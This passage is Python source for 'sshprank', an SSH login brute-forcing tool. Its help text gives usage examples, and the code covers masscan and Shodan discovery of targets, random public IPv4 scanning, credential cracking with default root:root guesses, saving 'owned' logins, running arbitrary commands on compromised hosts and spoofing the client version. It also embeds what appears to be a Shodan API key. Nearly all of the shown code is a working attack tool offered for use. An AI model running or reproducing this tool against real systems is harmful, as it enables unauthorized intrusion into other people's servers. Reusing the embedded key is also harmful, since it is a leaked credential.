offer in order to search more than 100 (= 1 page) ssh servers. so if you use this one use '1' for 'page'. -b - grab sshd banner from given target(s) (default port: 22) format: same as '-h' option -p - check sshd(s) for password auth support (default port: 22) format: same as '-h' option ''' + BOLD + '''scan options''' + NORM + ''' -r - generate random ipv4 addresses, check for open sshd port and crack for login (only with -m option!) ''' + BOLD + '''credential options''' + NORM + ''' -U - single username or user list (default: root) -P - single password or password list (default: root) -c - list of user:pass combination ''' + BOLD + '''brute options''' + NORM + ''' -e - exclude host after first login was found. continue with other hosts instead -E - exit sshprank completely after first login was found -z - shuffle target list randomly before cracking (only with -h ). saves to 'random_targets.txt' -Z - random brute: pick random target + creds each attempt. total attempts, 0 = infinite (use with -h, -U/-P) ''' + BOLD + '''exec options''' + NORM + ''' -C - read commands from file (line by line) or execute a single command on host if login was cracked -N - do not output ssh command results ''' + BOLD + '''thread options''' + NORM + ''' -x - num threads for parallel host crack (default: 50) -S - num threads for parallel service crack (default: 20) -X - num threads for parallel login crack (default: 5) -B - num threads for parallel banner grabbing (default: 70) ''' + BOLD + '''timeout options''' + NORM + ''' -T - num sec for auth and connect timeout (default: 5s) -R - num sec for (banner) read timeout (default: 3s) ''' + BOLD + '''output options''' + NORM + ''' -o - write found logins to file. format: ::: (default: owned.txt) -v - verbose mode. show found logins, sshds, etc. (default: off) ''' + BOLD + '''misc options''' + NORM + ''' -i - spoof ssh client version string sent to sshd (default: paramiko's default version string) -w - session file: if it exists, restore progress from it (skip already-tried creds). on ctrl+c / -E, state is auto-saved to ./sshprank_session.json (or to if -w was given). pass it back via -w to resume. -H - print help -V - print version information ''' + BOLD + '''examples''' + NORM + ''' # crack targets from a given list with user admin, pw-list and 20 host-threads $ sshprank -h sshds.txt -U admin -P /tmp/passlist.txt -x 20 # first scan then crack from founds ssh services using 'root:admin' $ sudo sshprank -m '-p22,2022 --rate 5000 --source-ip 192.168.13.37 \\ --range 192.168.13.1/24' -P admin # generate 1k random ipv4 addresses, then port-scan (tcp/22 here) with 1k p/s # and crack logins using 'root:root' on found sshds $ sudo sshprank -m '-p22 --rate=1000' -r 1000 -v # search 50 ssh servers via shodan and crack logins using 'root:root' against # found sshds $ sshprank -s 'SSH;1;50' # grab banners and output to file with format supported for '-h' option $ sshprank -b hosts.txt > sshds2.txt # check if sshds support password auth $ sshprank -p sshds.txt -v # shuffle target list and crack $ sshprank -h sshds.txt -z -U root -P /tmp/passes.txt # random brute: 500 random attempts from ip/user/pass lists $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 500 # random brute infinite (ctrl+c to stop) $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 0 # spoof ssh client version and crack $ sshprank -h sshds.txt -i 'SSH-2.0-OpenSSH_8.9p1' # check pwauth with spoofed version $ sshprank -p sshds.txt -i 'SSH-2.0-OpenSSH_7.4' -v # session file: ctrl+c, then run again to resume $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -w sess.json ''' DEFAULT_SESSION_PATH = './sshprank_session.json' stargets = [] # shodan excluded = {} excluded_hosts = set() _log_lock = threading.Lock() _exclude_lock = threading.Lock() _progress_lock = threading.Lock() _attempts_done = 0 _attempts_total = 0 _progress_running = False _progress_unbounded = False _submitted_lock = threading.Lock() _submitted = {} # {host: {port: count}} - cumulative iteration position opts = { 'targets': {}, 'targetlist': None, 'masscan_opts': '--open ', 'sho_opts': None, 'sho_str': None, 'sho_page': None, 'sho_lim': None, 'sho_key': 'Pp1oDSiavzKQJSsRgdzuxFJs8PQXzBL9', 'user': 'root', 'pass': 'root', 'cmd': None, 'cmd_no_out': False, 'hthreads': 50, 'sthreads': 20, 'lthreads': 5, 'bthreads': 70, 'ctimeout': 5, 'rtimeout': 3, 'logfile': 'owned.txt', 'exclude': False, 'exit': False, 'shuffle': False, 'randbrute': None, 'verbose': False, 'sshver': None, 'session': None, 'userlist_path': None, 'passlist_path': None, 'combolist_path': None } def log(msg='', _type='normal', pre_esc='', esc='\n'): iprefix = f'{BOLD}{BLUE}[+] {NORM}' gprefix = f'{BOLD}{GREEN}[*] {NORM}' wprefix = f'{BOLD}{YELLOW}[!] {NORM}' eprefix = f'{BOLD}{RED}[-] {NORM}' clear = '\r\033[K' if _progress_running else '' if _type == 'normal': sys.stdout.write(f'{msg}') elif _type == 'verbose': sys.stdout.write(f' > {msg}{esc}') elif _type == 'info': sys.stderr.write(f'{clear}{pre_esc}{iprefix}{msg}{esc}') elif _type == 'good': sys.stderr.write(f'{clear}{pre_esc}{gprefix}{msg}{esc}') elif _type == 'warn': sys.stderr.write(f'{clear}{pre_esc}{wprefix}{msg}{esc}') elif _type == 'error': sys.stderr.write(f'{clear}{pre_esc}{eprefix}{msg}{esc}') _cleanup_temp_files() os._exit(FAILURE) elif _type == 'spin': sys.stderr.flush() for i in ('-', '\\', '|', '/'): sys.stderr.write(f'{pre_esc}{BOLD}{BLUE}[{i}] {NORM}{msg}') time.sleep(0.05) return def parse_target(target): if target.endswith(':'): target = target.rstrip(':') dtarget = {target.rstrip(): ['22']} if ':' in target: starget = target.split(':') if starget[1]: try: if ',' in starget[1]: ports = [p.rstrip() for p in starget[1].split(',')] else: ports = [starget[1].rstrip('\n')] ports = list(filter(None, ports)) dtarget = {starget[0].rstrip(): ports} except ValueError as err: log(err.args[0].lower(), 'error') return dtarget def read_file(_file): try: with open(_file, 'r', encoding='latin-1') as f: return [line.rstrip('\r\n') for line in f if line.strip()] except (FileNotFoundError, PermissionError, OSError): log(f'could not read from {_file}', 'error') _MAX_EXPANSION = 1_000_000 _temp_files = [] def _cleanup_temp_files(): for p in _temp_files: try: if os.path.exists(p): os.unlink(p) except OSError: pass return def _write_temp_targets(prefix, hosts, port_part): suffix = f':{port_part}' if port_part else '' fd, path = tempfile.mkstemp(prefix=prefix, suffix='.txt', text=True) try: with os.fdopen(fd, 'w') as f: for ip in hosts: f.write(f'{ip}{suffix}\n') except OSError as err: log(f'could not write target expansion: {err.strerror}', 'error') return None _temp_files.append(path) return path def _expand_cidr_to_file(arg): if ':' in arg: host_part, port_part = arg.split(':', 1) else: host_part, port_part = arg, '' if '/' not in host_part or '.' not in host_part: return None try: net = ipaddress.ip_network(host_part.strip(), strict=False) except ValueError: return None count = net.num_addresses if net.num_addresses == 1 else max(0, net.num_addresses - 2) if count > _MAX_EXPANSION: log(f'cidr {host_part} expands to {count} hosts (max {_MAX_EXPANSION})', 'error') return None hosts = [net.network_address] if net.num_addresses == 1 else list(net.hosts()) return _write_temp_targets('sshprank_cidr_', hosts, port_part) def _expand_range_to_file(arg): if ':' in arg: host_part, port_part = arg.split(':', 1) else: host_part, port_part = arg, '' if '-' not in host_part or '.' not in host_part: return None start_str, _, end_str = host_part.strip().partition('-') try: start = ipaddress.IPv4Address(start_str) except (ipaddress.AddressValueError, ValueError): return None if '.' in end_str: try: end = ipaddress.IPv4Address(end_str) except (ipaddress.AddressValueError, ValueError): return None else: if not end_str.isdigit() or not 0 <= int(end_str) <= 255: return None base = '.'.join(start_str.split('.')[:3]) try: end = ipaddress.IPv4Address(f'{base}.{end_str}') except (ipaddress.AddressValueError, ValueError): return None if int(end) < int(start): log(f'invalid range: {host_part} (end < start)', 'error') return None count = int(end) - int(start) + 1 if count > _MAX_EXPANSION: log(f'range {host_part} expands to {count} hosts (max {_MAX_EXPANSION})', 'error') return None hosts = [ipaddress.IPv4Address(i) for i in range(int(start), int(end) + 1)] return _write_temp_targets('sshprank_range_', hosts, port_part) def parse_cmdline(cmdline): global opts try: _opts, _args = getopt.gnu_getopt(cmdline, 'h:m:s:b:p:r:U:P:c:C:Nx:S:X:B:T:R:o:i:w:eEzZ:vVH') if _args: log(f'unknown args: {", ".join(_args)}', 'error') for o, a in _opts: if o == '-h': if os.path.isfile(a): opts['targetlist'] = a else: expanded = _expand_cidr_to_file(a) or _expand_range_to_file(a) if expanded: opts['targetlist'] = expanded else: opts['targets'] = parse_target(a) if o == '-m': opts['masscan_opts'] += a if o == '-s': opts['sho_opts'] = a if o == '-b': if os.path.isfile(a): opts['targetlist'] = a else: expanded = _expand_cidr_to_file(a) or _expand_range_to_file(a) if expanded: opts['targetlist'] = expanded else: opts['targets'] = parse_target(a) if o == '-p': if os.path.isfile(a): opts['targetlist'] = a else: expanded = _expand_cidr_to_file(a) or _expand_range_to_file(a) if expanded: opts['targetlist'] = expanded else: opts['targets'] = parse_target(a) if o == '-r': opts['random'] = int(a) if o == '-U': if os.path.isfile(a): opts['userlist'] = read_file(a) opts['userlist_path'] = a else: opts['user'] = a if o == '-P': if os.path.isfile(a): opts['passlist'] = read_file(a) opts['passlist_path'] = a else: opts['pass'] = a if o == '-c': raw = read_file(a) or [] valid = [] bad = [] for line in raw: if ':' in line: valid.append(line) else: bad.append(line) opts['combolist'] = valid opts['combolist_path'] = a opts['_combo_bad_lines'] = bad if o == '-C': opts['cmd'] = a if o == '-N': opts['cmd_no_out'] = True if o == '-x': opts['hthreads'] = int(a) if o == '-S': opts['sthreads'] = int(a) if o == '-X': opts['lthreads'] = int(a) if o == '-B': opts['bthreads'] = int(a) if o == '-T': opts['ctimeout'] = int(a) if o == '-R': opts['rtimeout'] = int(a) if o == '-o': opts['logfile'] = a if o == '-i': opts['sshver'] = a if o == '-w': opts['session'] = a if o == '-e': opts['exclude'] = True if o == '-E': opts['exit'] = True if o == '-z': opts['shuffle'] = True if o == '-Z': opts['randbrute'] = int(a) if o == '-v': opts['verbose'] = True if o == '-V': log(f'sshprank v{__version__}', _type='info') sys.exit(SUCCESS) if o == '-H': log(HELP) sys.exit(SUCCESS) for k, flag in (('hthreads', '-x'), ('sthreads', '-S'), ('lthreads', '-X'), ('bthreads', '-B')): if opts[k] < 1: log(f'{flag} must be >= 1 (got {opts[k]})', 'error') if 'random' in opts and opts['random'] < 1: log(f'-r must be >= 1 (got {opts["random"]})', 'error') if opts['randbrute'] is not None and opts['randbrute'] < 0: log(f'-Z must be >= 0 (got {opts["randbrute"]})', 'error') bad = opts.pop('_combo_bad_lines', []) if bad: if opts['verbose']: for line in bad: log(f'skipping malformed combo line: {line!r}', 'warn') else: log(f'skipped {len(bad)} malformed combo line(s)', 'warn') except (getopt.GetoptError, ValueError) as err: log(err.args[0].lower(), 'error') return def check_argv(cmdline): modes = False needed = ['-h', '-m', '-s', '-b', '-p', '-H', '-V'] if set(needed).isdisjoint(set(cmdline)): log('wrong usage dude, check help', 'error') if '-h' in cmdline: if '-m' in cmdline or '-s' in cmdline or \ '-b' in cmdline or '-p' in cmdline: modes = True if '-m' in cmdline: if '-h' in cmdline or '-s' in cmdline or \ '-b' in cmdline or '-p' in cmdline: modes = True if '-s' in cmdline: if '-h' in cmdline or '-m' in cmdline or \ '-b' in cmdline or '-p' in cmdline: modes = True if '-b' in cmdline: if '-h' in cmdline or '-m' in cmdline or \ '-s' in cmdline or '-p' in cmdline: modes = True if '-p' in cmdline: if '-h' in cmdline or '-m' in cmdline or \ '-s' in cmdline or '-b' in cmdline: modes = True if modes: log('choose only one mode', 'error') opts['_session_eligible'] = not ( '-b' in cmdline or '-p' in cmdline or '-Z' in cmdline) if '-w' in cmdline and not opts['_session_eligible']: log('-w (session) has no effect with -b/-p/-Z, ignoring', 'warn') opts['session'] = None if '-r' in cmdline and '-m' not in cmdline: log('-r requires -m', 'error') return def check_argc(cmdline): if len(cmdline) == 0: log('use -H for help', 'error') return def grab_banner(host, port): s = None try: s = socket.create_connection((host, int(port)), opts['ctimeout']) s.settimeout(opts['rtimeout']) banner = str(s.recv(1024).decode('utf-8', errors='replace')).strip() if not banner: banner = '' log(f'{host}:{port}:{banner}\n') except socket.timeout: if opts['verbose']: log(f'socket timeout: {host}:{port}', 'warn') except (OSError, ValueError): if opts['verbose']: log(f'could not connect: {host}:{port}', 'warn') finally: if s: s.close() return class PortScanner(masscan.PortScanner): @property def scan_result(self): return self._scan_result def portscan(): try: m = PortScanner() m.scan(hosts='', ports='0', arguments=opts['masscan_opts'], sudo=True) except masscan.NetworkConnectionError as err: log('\n') log('no sshds found or network unreachable', 'error') except Exception as err: log('\n') log(f'unknown masscan error occured: {err}', 'error') return m def grep_service(scan, service='ssh', prot='tcp'): targets = [] scan_result = scan.scan_result or {} for h, hdata in scan_result.get('scan', {}).items(): for p, pdata in hdata.get(prot, {}).items(): if pdata.get('state') != 'open': continue services = pdata.get('services') or [] if services: for s in services: banner = s.get('banner', '') name = s.get('name', '') target = f"{h}:{p}:{banner}\n" if opts['verbose']: log(f'found sshd: {target}', 'good', esc='') if service in name: targets.append(target) else: if opts['verbose']: log(f'found sshd: {h}:{p}:', 'good', esc='\n') targets.append(f'{h}:{p}:\n') return targets def log_targets(targets, logfile): try: with _log_lock: with open(logfile, 'a') as f: f.writelines(targets) except (FileNotFoundError, PermissionError) as err: log(f'{err.args[1].lower()}: {logfile}', 'warn') return def _hash_file(path): if not path or not os.path.isfile(path): return None h = hashlib.sha256() try: with open(path, 'rb') as f: for chunk in iter(lambda: f.read(65536), b''): h.update(chunk) return h.hexdigest() except OSError: return None return def _save_session(path): if not path: return data = { 'version': __version__, 'saved_at': time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()), 'hashes': { 'userlist': _hash_file(opts.get('userlist_path')), 'passlist': _hash_file(opts.get('passlist_path')), 'combolist': _hash_file(opts.get('combolist_path')), }, 'submitted': { h: dict(ports) for h, ports in _submitted.items() }, 'excluded_hosts': sorted(excluded_hosts), 'excluded_ports': {h: sorted(ps) for h, ps in excluded.items() if ps}, } try: tmp = path + '.tmp' with open(tmp, 'w', encoding='utf-8') as f: json.dump(data, f, indent=2) os.replace(tmp, path) except OSError as err: log(f'could not save session to {path}: {err}', 'warn') return def _resolve_session_path(interrupted): if opts['session']: return opts['session'] if interrupted and opts.get('_session_eligible', True): return DEFAULT_SESSION_PATH return None def _save_and_log_session(interrupted): path = _resolve_session_path(interrupted) if path: _save_session(path) log(f'session saved to {path}', 'info') def _load_session(path): if not path or not os.path.isfile(path): return None try: with open(path, 'r', encoding='utf-8') as f: return json.load(f) except (OSError, json.JSONDecodeError) as err: log(f'session file corrupt ({err}), starting fresh', 'warn') return None return def _apply_session(data): global _submitted hashes = data.get('hashes', {}) for kind, path_key in (('userlist', 'userlist_path'), ('passlist', 'passlist_path'), ('combolist', 'combolist_path')): saved = hashes.get(kind) if not saved: continue cur = _hash_file(opts.get(path_key)) if cur and cur != saved: log(f'{kind} changed since last session - results may be off', 'warn') with _submitted_lock: for h, ports in data.get('submitted', {}).items(): _submitted[h] = {p: int(c) for p, c in ports.items()} for h in data.get('excluded_hosts', []): excluded_hosts.add(h) for h, ps in data.get('excluded_ports', {}).items(): excluded.setdefault(h, set()).update(ps) return def _progress_inc_done(n=1): global _attempts_done with _progress_lock: _attempts_done += n return def _progress_inc_total(n): global _attempts_total with _progress_lock: _attempts_total += n return def _progress_loop(): iprefix = f'{BOLD}{BLUE}[+] {NORM}' while _progress_running: with _progress_lock: done, total = _attempts_done, _attempts_total if _progress_unbounded: sys.stderr.write(f'\r{iprefix}cracking {done} attempts ') sys.stderr.flush() elif total > 0: pct = done / total * 100 sys.stderr.write(f'\r{iprefix}cracking {done}/{total} ({pct:.2f}%) ') sys.stderr.flush() time.sleep(0.25) with _progress_lock: done, total = _attempts_done, _attempts_total if _progress_unbounded: sys.stderr.write(f'\r{iprefix}cracking {done} attempts\n') sys.stderr.flush() elif total > 0: pct = done / total * 100 sys.stderr.write(f'\r{iprefix}cracking {done}/{total} ({pct:.2f}%)\n') sys.stderr.flush() return def status(future, msg, pre_esc=''): while future.running(): log(msg, 'spin', pre_esc) return def _run_remote_cmd(cli, cmd): try: stdin, stdout, stderr = cli.exec_command(cmd, timeout=opts['ctimeout']) try: stdin.channel.shutdown_write() except Exception: pass if opts['cmd_no_out']: return rl = stdout.readlines() el = stderr.readlines() except Exception as err: if opts['verbose']: log(f"ssh command failed: '{cmd}' ({str(err)})", 'warn') return if rl: log(f"ssh command result for: '{cmd}'", 'good', pre_esc='\n') for out in rl: log(f'{out}') if el: log(f"ssh command stderr for: '{cmd}'", 'warn', pre_esc='\n') for err in el: log(f'{err}') return def crack_login(host, port, username, password): global excluded, excluded_hosts cli = paramiko.SSHClient() cli.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: if host not in excluded_hosts and port not in excluded[host]: cli.connect(host, port, username, password, timeout=opts['ctimeout'], allow_agent=False, look_for_keys=False, auth_timeout=opts['ctimeout']) try: chan = cli.get_transport().open_session(timeout=opts['ctimeout']) chan.close() except Exception as err: if opts['verbose']: log(f'fake login: {host}:{port} (no channel: {str(err)})', 'warn') return if opts['exclude']: with _exclude_lock: if host in excluded_hosts: return excluded_hosts.add(host) login = f'{host}:{port}:{username}:{password}' log_targets(f'{login}\n', opts['logfile']) if opts['verbose']: log(f'found login: {login}', _type='good') else: log(f'found a login (check {opts["logfile"]})', _type='good') if opts['cmd']: if os.path.isfile(opts['cmd']): log(f"sending ssh commands from {opts['cmd']}", 'info') with open(opts['cmd'], 'r', encoding='latin-1') as _file: for cmd in _file: cmd = cmd.rstrip() if not cmd: continue _run_remote_cmd(cli, cmd) else: log('sending your single ssh command line', 'info') _run_remote_cmd(cli, opts['cmd'].rstrip()) if opts['exit']: global _progress_running _progress_running = False _save_and_log_session(interrupted=True) log('game over', 'info') _cleanup_temp_files() os._exit(SUCCESS) return SUCCESS except paramiko.AuthenticationException as err: if 'publickey' in str(err): excluded[host].add(port) if opts['verbose']: if 'publickey' in str(err): reason = 'pubkey auth' elif 'Authentication failed' in str(err): reason = 'auth failed' elif 'Authentication timeout' in str(err): reason = 'auth timeout' else: reason = 'unknown' log(f'login failure: {host}:{port} ({reason})', 'warn') except (paramiko.ssh_exception.NoValidConnectionsError, socket.error): if opts['verbose']: log(f'could not connect: {host}:{port}', 'warn') excluded[host].add(port) except paramiko.SSHException as err: if opts['verbose']: log(f'ssh error: {host}:{port} ({str(err)})', 'warn') except Exception as err: if opts['verbose']: log(f'other error: {host}:{port} ({str(err)})', 'warn') finally: try: cli.close() except OSError: pass _progress_inc_done() return def _creds_per_port(): has_list = 'userlist' in opts or 'passlist' in opts or 'combolist' in opts c = 0 if has_list else 1 if 'userlist' in opts and 'passlist' in opts: c += len(opts['userlist']) * len(opts['passlist']) elif 'userlist' in opts: c += len(opts['userlist']) elif 'passlist' in opts: c += len(opts['passlist']) if 'combolist' in opts: c += len(opts['combolist']) return c def crack_port(host, port): with _submitted_lock: start_i = _submitted.get(host, {}).get(port, 0) if start_i > 0: _progress_inc_done(start_i) with ThreadPoolExecutor(opts['lthreads']) as exe: futures = set() max_pending = opts['lthreads'] * 4 i = 0 def submit(u, p): nonlocal futures, i i += 1 if i <= start_i: return with _submitted_lock: _submitted.setdefault(host, {})[port] = i if len(futures) >= max_pending: _, futures = wait(futures, return_when=FIRST_COMPLETED) futures.add(exe.submit(crack_login, host, port, u, p)) has_list = 'userlist' in opts or 'passlist' in opts or 'combolist' in opts if not has_list: submit(opts['user'], opts['pass']) if 'userlist' in opts and 'passlist' in opts: for u in opts['userlist']: for p in opts['passlist']: submit(u.rstrip(), p.rstrip()) if 'userlist' in opts and 'passlist' not in opts: for u in opts['userlist']: submit(u.rstrip(), opts['pass']) if 'passlist' in opts and 'userlist' not in opts: for p in opts['passlist']: submit(opts['user'], p.rstrip()) if 'combolist' in opts: for line in opts['combolist']: l = line.split(':', 1) submit(l[0].rstrip(), l[1].rstrip()) return def run_threads(host, ports): excluded.setdefault(host, set()) with ThreadPoolExecutor(opts['sthreads']) as e: for port in ports: e.submit(crack_port, host, port) return def gen_ipv4addr(): try: ip = ipaddress.ip_address('.'.join(str( random.randint(0, 255)) for _ in range(4))) if not ip.is_loopback and not ip.is_private and not ip.is_multicast: return str(ip) except ValueError: pass return def shuffle_targets(): try: with open(opts['targetlist'], 'r', encoding='latin-1') as f: lines = f.readlines() random.shuffle(lines) shuffled = 'random_targets.txt' with open(shuffled, 'w', encoding='latin-1') as f: f.writelines(lines) opts['targetlist'] = shuffled log(f'shuffled {len(lines)} targets -> {shuffled}', 'info') except (FileNotFoundError, PermissionError) as err: log(f'{err.args[1].lower()}: {opts["targetlist"]}', 'error') return def crack_rand_brute(): try: with open(opts['targetlist'], 'r', encoding='latin-1') as f: hosts = [line.rstrip() for line in f if line.strip()] except (FileNotFoundError, PermissionError) as err: log(f'{err.args[1].lower()}: {opts["targetlist"]}', 'error') return users = opts.get('userlist', [opts['user']]) passwords = opts.get('passlist', [opts['pass']]) combos = opts.get('combolist', []) count = opts['randbrute'] global _progress_unbounded if count > 0: _progress_inc_total(count) else: _progress_unbounded = True with ThreadPoolExecutor(opts['hthreads']) as exe: futures = set() max_pending = opts['hthreads'] * 4 i = 0 while count == 0 or i < count: target = random.choice(hosts) parsed = parse_target(target) host = list(parsed.keys())[0] port = random.choice(parsed[host]) if combos: parts = random.choice(combos).split(':', 1) user = parts[0].rstrip() passwd = parts[1].rstrip() else: user = random.choice(users).rstrip() passwd = random.choice(passwords).rstrip() excluded.setdefault(host, set()) if len(futures) >= max_pending: _, futures = wait(futures, return_when=FIRST_COMPLETED) futures.add(exe.submit(crack_login, host, port, user, passwd)) i += 1 return def crack_single(): host, ports = list(opts['targets'].copy().items())[0] if not host: log('empty host - check your -h argument', 'error') _progress_inc_total(len(ports) * _creds_per_port()) run_threads(host, ports) return def crack_multi(): try: creds = _creds_per_port() with open(opts['targetlist'], 'r', encoding='latin-1') as f: with ThreadPoolExecutor(opts['hthreads']) as exe: futures = set() max_pending = opts['hthreads'] * 4 for line in f: line = line.strip() if not line: continue if ':' in line: host, p = line.split(':', 1) host = host.strip() ports = [pp.rstrip() for pp in p.split(',')] else: host = line ports = ['22'] if not host: continue _progress_inc_total(len(ports) * creds) if len(futures) >= max_pending: _, futures = wait(futures, return_when=FIRST_COMPLETED) futures.add(exe.submit(run_threads, host, ports)) except (FileNotFoundError, PermissionError) as err: log(f"{err.args[1].lower()}: {opts['targetlist']}", 'error') return def crack_random(): ptargets = [] for _ in range(opts['random']): ptargets.append(gen_ipv4addr()) ptargets = [x for x in ptargets if x is not None] opts['masscan_opts'] += ' ' + ' '.join(ptargets) return def crack_scan(): with ThreadPoolExecutor(1) as e: future = e.submit(portscan) status(future, 'scanning sshds', pre_esc='\r') log('\n') targets = grep_service(future.result()) num_targets = len(targets) if num_targets > 0: opts['targetlist'] = 'sshds.txt' log_targets(targets, opts['targetlist']) log(f'found {num_targets} active sshds', 'good') crack_multi() else: log('no sshds found :(', _type='warn') return def check_banners(): try: with open(opts['targetlist'], 'r', encoding='latin-1') as fh: with ThreadPoolExecutor(opts['bthreads']) as exe: futures = set() max_pending = opts['bthreads'] * 4 for line in fh: line = line.strip() if not line: continue target = parse_target(line) host = ''.join([*target]) if not host: continue ports = target.get(host) for port in ports: if len(futures) >= max_pending: _, futures = wait(futures, return_when=FIRST_COMPLETED) futures.add(exe.submit(grab_banner, host, port)) except (FileNotFoundError, PermissionError) as err: log(f"{err.args[1].lower()}: {opts['targetlist']}", 'error') return def check_pwauth(host, port): sock = None t = None try: sock = socket.create_connection( (host, int(port)), timeout=opts['ctimeout'] ) t = paramiko.Transport(sock) sec = t.get_security_options() try: sec.kex = list(_pt.Transport._preferred_kex) sec.ciphers = list(_pt._ENCRYPT.keys()) sec.digests = list(_pt._MAC_INFO.keys()) except Exception: pass t.start_client(timeout=opts['ctimeout']) t.auth_password('__sshprank_probe__', os.urandom(8).hex()) log(f'{host}:{port}:pwauth=yes\n') if opts['verbose']: log(f'pwauth enabled: {host}:{port}', 'good') except paramiko.BadAuthenticationType as err: allowed = ','.join(err.allowed_types) log(f'{host}:{port}:pwauth=no ({allowed})\n') if opts['verbose']: log(f'pwauth disabled: {host}:{port} ({allowed})', 'warn') except paramiko.AuthenticationException: log(f'{host}:{port}:pwauth=yes\n') if opts['verbose']: log(f'pwauth enabled: {host}:{port}', 'good') except (paramiko.ssh_exception.NoValidConnectionsError, socket.error): if opts['verbose']: log(f'could not connect: {host}:{port}', 'warn') except paramiko.SSHException as err: if opts['verbose']: log(f'ssh error: {host}:{port} ({str(err)})', 'warn') except Exception as err: if opts['verbose']: log(f'other error: {host}:{port} ({str(err)})', 'warn') finally: if t: try: t.close() except OSError: pass if sock: try: sock.close() except OSError: pass return def check_pwauths(): try: with open(opts['targetlist'], 'r', encoding='latin-1') as fh: with ThreadPoolExecutor(opts['bthreads']) as exe: futures = set() max_pending = opts['bthreads'] * 4 for line in fh: line = line.strip() if not line: continue target = parse_target(line) host = ''.join([*target]) if not host: continue ports = target.get(host) for port in ports: if len(futures) >= max_pending: _, futures = wait(futures, return_when=FIRST_COMPLETED) futures.add(exe.submit(check_pwauth, host, port)) except (FileNotFoundError, PermissionError) as err: log(f"{err.args[1].lower()}: {opts['targetlist']}", 'error') return def crack_shodan(targets): log(f'w00t w00t, found {len(targets)} sshds', 'good') log('cracking shodan targets', 'info') opts['targetlist'] = 'sshds.txt' log_targets(targets, opts['targetlist']) log(f'saved found sshds to {opts["targetlist"]}', 'info') log('cracking found targets', 'info') crack_multi() return def shodan_search(): s = opts['sho_opts'].split(';') if len(s) != 3: log('format wrong, check usage and examples', 'error') opts['sho_str'] = s[0] opts['sho_page'] = int(s[1]) opts['sho_lim'] = int(s[2]) try: api = shodan.Shodan(opts['sho_key']) res = api.search(opts['sho_str'], opts['sho_page'], opts['sho_lim']) for r in res.get('matches', []): ip = r.get('ip_str') port = r.get('port') if not ip or not port: continue banner = (r.get('data') or '').split('\n')[0] if opts['verbose']: log(f'found sshd: {ip}:{port}:{banner}', 'good', esc='\n') stargets.append(f'{ip}:{port}:{banner}\n') except shodan.APIError as e: log(f'shodan error: {str(e)}', 'error') return def is_root(): if os.geteuid() == 0: return True return False def main(cmdline): sys.stderr.write(BANNER + '\n\n') check_argc(cmdline) parse_cmdline(cmdline) check_argv(cmdline) if opts['sshver']: v = opts['sshver'] if v.startswith('SSH-'): parts = v.split('-', 2) if len(parts) == 3: v = parts[2] paramiko.Transport._CLIENT_ID = v log('game started', 'info') if opts['session']: sess = _load_session(opts['session']) if sess: _apply_session(sess) log(f'restored session from {opts["session"]}', 'info') global _progress_running prog_thread = None if not opts['verbose']: _progress_running = True prog_thread = threading.Thread(target=_progress_loop, daemon=True) prog_thread.start() interrupted = False try: if '-p' in cmdline: log('checking password auth', 'info', esc='\n') if not opts['targetlist'] and opts['targets']: host, ports = list(opts['targets'].copy().items())[0] for port in ports: check_pwauth(host, port) else: check_pwauths() elif '-b' in cmdline: log('grabbing banners', 'info', esc='\n') if not opts['targetlist'] and opts['targets']: host, ports = list(opts['targets'].copy().items())[0] for port in ports: grab_banner(host, port) else: check_banners() elif '-m' in cmdline: if is_root(): if '-r' in cmdline: log('scanning and cracking random targets', 'info') crack_random() crack_scan() else: log('scanning and cracking targets', 'info') crack_scan() else: log('get r00t for this option', 'error') elif '-s' in cmdline: with ThreadPoolExecutor(1) as e: future = e.submit(shodan_search) status(future, 'searching for sshds via shodan\r') log('\n') if len(stargets) > 0: crack_shodan(stargets) else: log('no sshds found :(', 'info') elif not opts['targetlist'] and opts['targets']: log('cracking single target', 'info') crack_single() elif opts['targetlist']: if opts['shuffle']: shuffle_targets() if opts['randbrute'] is not None: label = 'infinite' if opts['randbrute'] == 0 else str(opts['randbrute']) log(f'random brute mode ({label} attempts)', 'info') crack_rand_brute() else: crack_multi() except KeyboardInterrupt: interrupted = True _progress_running = False log('you aborted me', _type='warn', pre_esc='\r \r') finally: signal.signal(signal.SIGINT, signal.SIG_IGN) signal.signal(signal.SIGTERM, signal.SIG_IGN) _progress_running = False if prog_thread: prog_thread.join(timeout=1) _save_and_log_session(interrupted) log('game over', 'info') _cleanup_temp_files() os._exit(SUCCESS) return def _silence_close_ebadf(args): if args.exc_type is OSError and \ getattr(args.exc_value, 'errno', None) == errno.EBADF: return threading.__excepthook__(args) return def _sigterm_handler(signum, frame): raise KeyboardInterrupt return if __name__ == '__main__': logger = logging.getLogger() logger.disabled = True logger.setLevel(100) logger.propagate = False logging.disable(logging.ERROR) logging.disable(logging.FATAL) logging.disable(logging.CRITICAL) logging.disable(logging.DEBUG) logging.disable(logging.WARNING) logging.disable(logging.INFO) if not sys.warnoptions: warnings.simplefilter('ignore') threading.excepthook = _silence_close_ebadf signal.signal(signal.SIGTERM, _sigterm_handler) main(sys.argv[1:])